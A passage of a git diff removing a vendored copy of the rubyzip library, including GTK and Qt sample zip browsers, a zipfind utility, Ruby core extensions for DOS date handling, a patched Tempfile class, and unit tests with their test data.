- pack_start(@openButton) - pack_start(@extractButton) - end - end - - def show_file_selector - @fileSelector = Gtk::FileSelection.new("Open zip file") - @fileSelector.show - @fileSelector.ok_button.signal_connect(Gtk::Button::SIGNAL_CLICKED) { - open_zip(@fileSelector.filename) - @fileSelector.destroy - } - @fileSelector.cancel_button.signal_connect(Gtk::Button::SIGNAL_CLICKED) { - @fileSelector.destroy - } - end - - def open_zip(filename) - @zipfile = Zip::ZipFile.open(filename) - @clist.clear - @zipfile.each { - |entry| - @clist.append([ entry.name, - entry.size.to_s, - (100.0*entry.compressedSize/entry.size).to_s+"%" ]) - } - end -end - -mainApp = MainApp.new() - -mainApp.show_all - -Gtk.main diff --git a/lib/zip/samples/qtzip.rb b/lib/zip/samples/qtzip.rb deleted file mode 100755 index 3d76bd18e8..0000000000 --- a/lib/zip/samples/qtzip.rb +++ /dev/null @@ -1,101 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE=true - -$: << "../lib" - -require 'Qt' -system('rbuic -o zipdialogui.rb zipdialogui.ui') -require 'zipdialogui.rb' -require 'zip/zip' - - - -a = Qt::Application.new(ARGV) - -class ZipDialog < ZipDialogUI - - - def initialize() - super() - connect(child('add_button'), SIGNAL('clicked()'), - self, SLOT('add_files()')) - connect(child('extract_button'), SIGNAL('clicked()'), - self, SLOT('extract_files()')) - end - - def zipfile(&proc) - Zip::ZipFile.open(@zip_filename, &proc) - end - - def each(&proc) - Zip::ZipFile.foreach(@zip_filename, &proc) - end - - def refresh() - lv = child("entry_list_view") - lv.clear - each { - |e| - lv.insert_item(Qt::ListViewItem.new(lv, e.name, e.size.to_s)) - } - end - - - def load(zipfile) - @zip_filename = zipfile - refresh - end - - def add_files - l = Qt::FileDialog.getOpenFileNames(nil, nil, self) - zipfile { - |zf| - l.each { - |path| - zf.add(File.basename(path), path) - } - } - refresh - end - - def extract_files - selected_items = [] - unselected_items = [] - lv_item = entry_list_view.first_child - while (lv_item) - if entry_list_view.is_selected(lv_item) - selected_items << lv_item.text(0) - else - unselected_items << lv_item.text(0) - end - lv_item = lv_item.next_sibling - end - puts "selected_items.size = #{selected_items.size}" - puts "unselected_items.size = #{unselected_items.size}" - items = selected_items.size > 0 ? selected_items : unselected_items - puts "items.size = #{items.size}" - - d = Qt::FileDialog.get_existing_directory(nil, self) - if (!d) - puts "No directory chosen" - else - zipfile { |zf| items.each { |e| zf.extract(e, File.join(d, e)) } } - end - - end - - slots 'add_files()', 'extract_files()' -end - -if !ARGV[0] - puts "usage: #{$0} zipname" - exit -end - -zd = ZipDialog.new -zd.load(ARGV[0]) - -a.mainWidget = zd -zd.show() -a.exec() diff --git a/lib/zip/samples/write_simple.rb b/lib/zip/samples/write_simple.rb deleted file mode 100755 index 648989a2ca..0000000000 --- a/lib/zip/samples/write_simple.rb +++ /dev/null @@ -1,13 +0,0 @@ -#!/usr/bin/env ruby - -$: << "../lib" - -require 'zip/zip' - -include Zip - -ZipOutputStream.open('simple.zip') { - |zos| - ze = zos.put_next_entry 'entry.txt' - zos.puts "Hello world" -} diff --git a/lib/zip/samples/zipfind.rb b/lib/zip/samples/zipfind.rb deleted file mode 100755 index 5a9d84ec1c..0000000000 --- a/lib/zip/samples/zipfind.rb +++ /dev/null @@ -1,74 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'zip/zip' -require 'find' - -module Zip - module ZipFind - def self.find(path, zipFilePattern = /\.zip$/i) - Find.find(path) { - |fileName| - yield(fileName) - if zipFilePattern.match(fileName) && File.file?(fileName) - begin - Zip::ZipFile.foreach(fileName) { - |zipEntry| - yield(fileName + File::SEPARATOR + zipEntry.to_s) - } - rescue Errno::EACCES => ex - puts ex - end - end - } - end - - def self.find_file(path, fileNamePattern, zipFilePattern = /\.zip$/i) - self.find(path, zipFilePattern) { - |fileName| - yield(fileName) if fileNamePattern.match(fileName) - } - end - - end -end - -if __FILE__ == $0 - module ZipFindConsoleRunner - - PATH_ARG_INDEX = 0; - FILENAME_PATTERN_ARG_INDEX = 1; - ZIPFILE_PATTERN_ARG_INDEX = 2; - - def self.run(args) - check_args(args) - Zip::ZipFind.find_file(args[PATH_ARG_INDEX], - args[FILENAME_PATTERN_ARG_INDEX], - args[ZIPFILE_PATTERN_ARG_INDEX]) { - |fileName| - report_entry_found fileName - } - end - - def self.check_args(args) - if (args.size != 3) - usage - exit - end - end - - def self.usage - puts "Usage: #{$0} PATH ZIPFILENAME_PATTERN FILNAME_PATTERN" - end - - def self.report_entry_found(fileName) - puts fileName - end - - end - - ZipFindConsoleRunner.run(ARGV) -end diff --git a/lib/zip/stdrubyext.rb b/lib/zip/stdrubyext.rb deleted file mode 100644 index 833365dbca..0000000000 --- a/lib/zip/stdrubyext.rb +++ /dev/null @@ -1,111 +0,0 @@ -unless Enumerable.method_defined?(:inject) - module Enumerable #:nodoc:all - def inject(n = 0) - each { |value| n = yield(n, value) } - n - end - end -end - -module Enumerable #:nodoc:all - # returns a new array of all the return values not equal to nil - # This implementation could be faster - def select_map(&aProc) - map(&aProc).reject { |e| e.nil? } - end -end - -unless Object.method_defined?(:object_id) - class Object #:nodoc:all - # Using object_id which is the new thing, so we need - # to make that work in versions prior to 1.8.0 - alias object_id id - end -end - -unless File.respond_to?(:read) - class File # :nodoc:all - # singleton method read does not exist in 1.6.x - def self.read(fileName) - open(fileName) { |f| f.read } - end - end -end - -class String #:nodoc:all - def starts_with(aString) - rindex(aString, 0) == 0 - end - - def ends_with(aString) - index(aString, -aString.size) - end - - def ensure_end(aString) - ends_with(aString) ? self : self + aString - end - - def lchop - slice(1, length) - end -end - -class Time #:nodoc:all - - #MS-DOS File Date and Time format as used in Interrupt 21H Function 57H: - # - # Register CX, the Time: - # Bits 0-4 2 second increments (0-29) - # Bits 5-10 minutes (0-59) - # bits 11-15 hours (0-24) - # - # Register DX, the Date: - # Bits 0-4 day (1-31) - # bits 5-8 month (1-12) - # bits 9-15 year (four digit year minus 1980) - - - def to_binary_dos_time - (sec/2) + - (min << 5) + - (hour << 11) - end - - def to_binary_dos_date - (day) + - (month << 5) + - ((year - 1980) << 9) - end - - # Dos time is only stored with two seconds accuracy - def dos_equals(other) - to_i/2 == other.to_i/2 - end - - def self.parse_binary_dos_format(binaryDosDate, binaryDosTime) - second = 2 * ( 0b11111 & binaryDosTime) - minute = ( 0b11111100000 & binaryDosTime) >> 5 - hour = (0b1111100000000000 & binaryDosTime) >> 11 - day = ( 0b11111 & binaryDosDate) - month = ( 0b111100000 & binaryDosDate) >> 5 - year = ((0b1111111000000000 & binaryDosDate) >> 9) + 1980 - begin - return Time.local(year, month, day, hour, minute, second) - end - end -end - -class Module #:nodoc:all - def forward_message(forwarder, *messagesToForward) - methodDefs = messagesToForward.map { - |msg| - "def #{msg}; #{forwarder}(:#{msg}); end" - } - module_eval(methodDefs.join("\n")) - end -end - - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/tempfile_bugfixed.rb b/lib/zip/tempfile_bugfixed.rb deleted file mode 100644 index a04c59e2dc..0000000000 --- a/lib/zip/tempfile_bugfixed.rb +++ /dev/null @@ -1,195 +0,0 @@ -# -# tempfile - manipulates temporary files -# -# $Id$ -# - -require 'delegate' -require 'tmpdir' - -module BugFix #:nodoc:all - -# A class for managing temporary files. This library is written to be -# thread safe. -class Tempfile < DelegateClass(File) - MAX_TRY = 10 - @@cleanlist = [] - - # Creates a temporary file of mode 0600 in the temporary directory - # whose name is basename.pid.n and opens with mode "w+". A Tempfile - # object works just like a File object. - # - # If tmpdir is omitted, the temporary directory is determined by - # Dir::tmpdir provided by 'tmpdir.rb'. - # When $SAFE > 0 and the given tmpdir is tainted, it uses - # /tmp. (Note that ENV values are tainted by default) - def initialize(basename, tmpdir=Dir::tmpdir) - if $SAFE > 0 and tmpdir.tainted? - tmpdir = '/tmp' - end - - lock = nil - n = failure = 0 - - begin - Thread.critical = true - - begin - tmpname = sprintf('%s/%s%d.%d', tmpdir, basename, $$, n) - lock = tmpname + '.lock' - n += 1 - end while @@cleanlist.include?(tmpname) or - File.exist?(lock) or File.exist?(tmpname) - - Dir.mkdir(lock) - rescue - failure += 1 - retry if failure < MAX_TRY - raise "cannot generate tempfile `%s'" % tmpname - ensure - Thread.critical = false - end - - @data = [tmpname] - @clean_proc = Tempfile.callback(@data) - ObjectSpace.define_finalizer(self, @clean_proc) - - @tmpfile = File.open(tmpname, File::RDWR|File::CREAT|File::EXCL, 0600) - @tmpname = tmpname - @@cleanlist << @tmpname - @data[1] = @tmpfile - @data[2] = @@cleanlist - - super(@tmpfile) - - # Now we have all the File/IO methods defined, you must not - # carelessly put bare puts(), etc. after this. - - Dir.rmdir(lock) - end - - # Opens or reopens the file with mode "r+". - def open - @tmpfile.close if @tmpfile - @tmpfile = File.open(@tmpname, 'r+') - @data[1] = @tmpfile - __setobj__(@tmpfile) - end - - def _close # :nodoc: - @tmpfile.close if @tmpfile - @data[1] = @tmpfile = nil - end - protected :_close - - # Closes the file. If the optional flag is true, unlinks the file - # after closing. - # - # If you don't explicitly unlink the temporary file, the removal - # will be delayed until the object is finalized. - def close(unlink_now=false) - if unlink_now - close! - else - _close - end - end - - # Closes and unlinks the file. - def close! - _close - @clean_proc.call - ObjectSpace.undefine_finalizer(self) - end - - # Unlinks the file. On UNIX-like systems, it is often a good idea - # to unlink a temporary file immediately after creating and opening - # it, because it leaves other programs zero chance to access the - # file. - def unlink - # keep this order for thread safeness - File.unlink(@tmpname) if File.exist?(@tmpname) - @@cleanlist.delete(@tmpname) if @@cleanlist - end - alias delete unlink - - if RUBY_VERSION > '1.8.0' - def __setobj__(obj) - @_dc_obj = obj - end - else - def __setobj__(obj) - @obj = obj - end - end - - # Returns the full path name of the temporary file. - def path - @tmpname - end - - # Returns the size of the temporary file. As a side effect, the IO - # buffer is flushed before determining the size. - def size - if @tmpfile - @tmpfile.flush - @tmpfile.stat.size - else - 0 - end - end - alias length size - - class << self - def callback(data) # :nodoc: - pid = $$ - lambda{ - if pid == $$ - path, tmpfile, cleanlist = *data - - print "removing ", path, "..." if $DEBUG - - tmpfile.close if tmpfile - - # keep this order for thread safeness - File.unlink(path) if File.exist?(path) - cleanlist.delete(path) if cleanlist - - print "done\n" if $DEBUG - end - } - end - - # If no block is given, this is a synonym for new(). - # - # If a block is given, it will be passed tempfile as an argument, - # and the tempfile will automatically be closed when the block - # terminates. In this case, open() returns nil. - def open(*args) - tempfile = new(*args) - - if block_given? - begin - yield(tempfile) - ensure - tempfile.close - end - - nil - else - tempfile - end - end - end -end - -end # module BugFix -if __FILE__ == $0 -# $DEBUG = true - f = Tempfile.new("foo") - f.print("foo\n") - f.close - f.open - p f.gets # => "foo\n" - f.close! -end diff --git a/lib/zip/test/alltests.rb b/lib/zip/test/alltests.rb deleted file mode 100755 index 691349af37..0000000000 --- a/lib/zip/test/alltests.rb +++ /dev/null @@ -1,9 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'stdrubyexttest' -require 'ioextrastest' -require 'ziptest' -require 'zipfilesystemtest' -require 'ziprequiretest' diff --git a/lib/zip/test/data/file1.txt b/lib/zip/test/data/file1.txt deleted file mode 100644 index 23ea2f731b..0000000000 --- a/lib/zip/test/data/file1.txt +++ /dev/null @@ -1,46 +0,0 @@ - -AUTOMAKE_OPTIONS = gnu - -EXTRA_DIST = test.zip - -CXXFLAGS= -g - -noinst_LIBRARIES = libzipios.a - -bin_PROGRAMS = test_zip test_izipfilt test_izipstream -# test_flist - -libzipios_a_SOURCES = backbuffer.h fcol.cpp fcol.h \ - fcol_common.h fcolexceptions.cpp fcolexceptions.h \ - fileentry.cpp fileentry.h flist.cpp \ - flist.h flistentry.cpp flistentry.h \ - flistscanner.h ifiltstreambuf.cpp ifiltstreambuf.h \ - inflatefilt.cpp inflatefilt.h izipfilt.cpp \ - izipfilt.h izipstream.cpp izipstream.h \ - zipfile.cpp zipfile.h ziphead.cpp \ - ziphead.h flistscanner.ll - -# test_flist_SOURCES = test_flist.cpp - -test_izipfilt_SOURCES = test_izipfilt.cpp - -test_izipstream_SOURCES = test_izipstream.cpp - -test_zip_SOURCES = test_zip.cpp - -# Notice that libzipios.a is not specified as -L. -lzipios -# If it was, automake would not include it as a dependency. - -# test_flist_LDADD = libzipios.a - -test_izipfilt_LDADD = libzipios.a -lz - -test_zip_LDADD = libzipios.a -lz - -test_izipstream_LDADD = libzipios.a -lz - - - -flistscanner.cc : flistscanner.ll - $(LEX) -+ -PFListScanner -o$@ $^ - diff --git a/lib/zip/test/data/file1.txt.deflatedData b/lib/zip/test/data/file1.txt.deflatedData deleted file mode 100644 index bfbb4f42c0..0000000000 Binary files a/lib/zip/test/data/file1.txt.deflatedData and /dev/null differ diff --git a/lib/zip/test/data/file2.txt b/lib/zip/test/data/file2.txt deleted file mode 100644 index 57221d1adf..0000000000 --- a/lib/zip/test/data/file2.txt +++ /dev/null @@ -1,1504 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'rubyunit' -require 'zip' - -include Zip - -Dir.chdir "test" - -class AbstractInputStreamTest < RUNIT::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produceInput - read(100) - end - - def inputFinished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equals(TEST_LINES[0], @io.gets) - assert_equals(TEST_LINES[1], @io.gets) - assert_equals(TEST_LINES[2], @io.gets) - assert_equals(nil, @io.gets) - end - - def test_getsMultiCharSeperator - assert_equals("Hell", @io.gets("ll")) - assert_equals("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equals(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equals(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class ZipEntryTest < RUNIT::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equals(TEST_COMMENT, entry.comment) - assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) - assert_equals(TEST_CRC, entry.crc) - assert_equals(TEST_EXTRA, entry.extra) - assert_equals(TEST_COMPRESSIONMETHOD, entry.compressionMethod) - assert_equals(TEST_NAME, entry.name) - assert_equals(TEST_SIZE, entry.size) - assert_equals(TEST_ISDIRECTORY, entry.isDirectory) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equals(entry1, entry1) - assert_equals(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < RUNIT::TestCase - def test_readLocalEntryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zipName) { - |file| - entry = ZipEntry.readLocalEntry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressedSize) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equal(TestZipFile::TEST_ZIP3.entryNames[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entryNames[0]), entry.size) - assert(! entry.isDirectory) - } - end - - def test_readLocalEntryFromNonZipFile - File.open("ziptest.rb") { - |file| - assert_equals(nil, ZipEntry.readLocalEntry(file)) - } - end - - def test_readLocalEntryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zipName) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.readLocalEntry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") - compareLocalEntryHeaders(entry, entryReadLocal) - compareCDirEntryHeaders(entry, entryReadCentral) - end - - private - def compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.compressedSize , entry2.compressedSize) - assert_equals(entry1.crc , entry2.crc) - assert_equals(entry1.extra , entry2.extra) - assert_equals(entry1.compressionMethod, entry2.compressionMethod) - assert_equals(entry1.name , entry2.name) - assert_equals(entry1.size , entry2.size) - assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compareCDirEntryHeaders(entry1, entry2) - compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.comment, entry2.comment) - end - - def writeToFile(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.writeLocalEntry(f) } - File.open(centralFileName, "wb") { |f| entry.writeCDirEntry(f) } - end - - def readFromFile(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.readLocalEntry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.readCDirEntry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText and @decompressor - - def test_readEverything - assert_equals(@refText, @decompressor.read) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.read(chunkSize)) - assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equals(0, @refText.size) - end -end - -class InflaterTest < RUNIT::TestCase - include DecompressorTests - - def setup - @file = File.new("file1.txt.deflatedData", "rb") - @refText="" - File.open("file1.txt") { |f| @refText = f.read } - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < RUNIT::TestCase - include DecompressorTests - TEST_FILE="file1.txt" - def setup - @file = File.new(TEST_FILE) - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assertNextEntry(filename, zis) - assertEntry(filename, zis, zis.getNextEntry.name) - end - - def assertEntry(filename, zis, entryName) - assert_equals(filename, entryName) - assertEntryContentsForStream(filename, zis, entryName) - end - - def assertEntryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end - end - } - end - - def AssertEntry.assertContents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equals(expected, actual) - end - end - end - - def assertStreamContents(zis, testZipFile) - assert(zis != nil) - testZipFile.entryNames.each { - |entryName| - assertNextEntry(entryName, zis) - } - assert_equals(nil, zis.getNextEntry) - end - - def assertTestZipContents(testZipFile) - ZipInputStream.open(testZipFile.zipName) { - |zis| - assertStreamContents(zis, testZipFile) - } - end - - def assertEntryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.getInputStream(entryName) - assertEntryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < RUNIT::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[0], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[1], entry.name) - assert_equals(0, entry.size) - assert_equals(nil, zis.gets) - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[2], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[3], entry.name) - assert zis.gets.length > 0 - } - end - -end - -class TestFiles - RANDOM_ASCII_FILE1 = "randomAscii1.txt" - RANDOM_ASCII_FILE2 = "randomAscii2.txt" - RANDOM_ASCII_FILE3 = "randomAscii3.txt" - RANDOM_BINARY_FILE1 = "randomBinary1.bin" - RANDOM_BINARY_FILE2 = "randomBinary2.bin" - - EMPTY_TEST_DIR = "emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.createTestFiles(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) - } - - ensureDir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.createRandomAscii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.createRandomBinary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand.to_a.pack("V") - end - } - end - - def TestFiles.ensureDir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zipName, :entryNames, :comment - - def initialize(zipName, entryNames, comment = "") - @zipName=zipName - @entryNames=entryNames - @comment = comment - end - - def TestZipFile.createTestZips(recreate) - files = Dir.entries(".") - if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") - raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") - - File.open("empty.txt", "w") {} - - File.open("short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("ziptest.rb") { |file| ziptestTxt=file.read } - File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end - } - raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("empty.zip", []) - TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) - TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -class AbstractOutputStreamTest < RUNIT::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equals("a little string", @outputStream.buffer) - assert_equals("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equals("a little string. a little more", @outputStream.buffer) - assert_equals(". a little more".length, count) - end - - def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equals("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equals("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equals("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equals("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equals("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equals("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equals("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equals("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equals("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equals("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts("hello\n", "world\n") - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -module CrcTest - def runCrcTest(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = AbstractOutputStreamTest::TestOutputStream.new - - deflater = 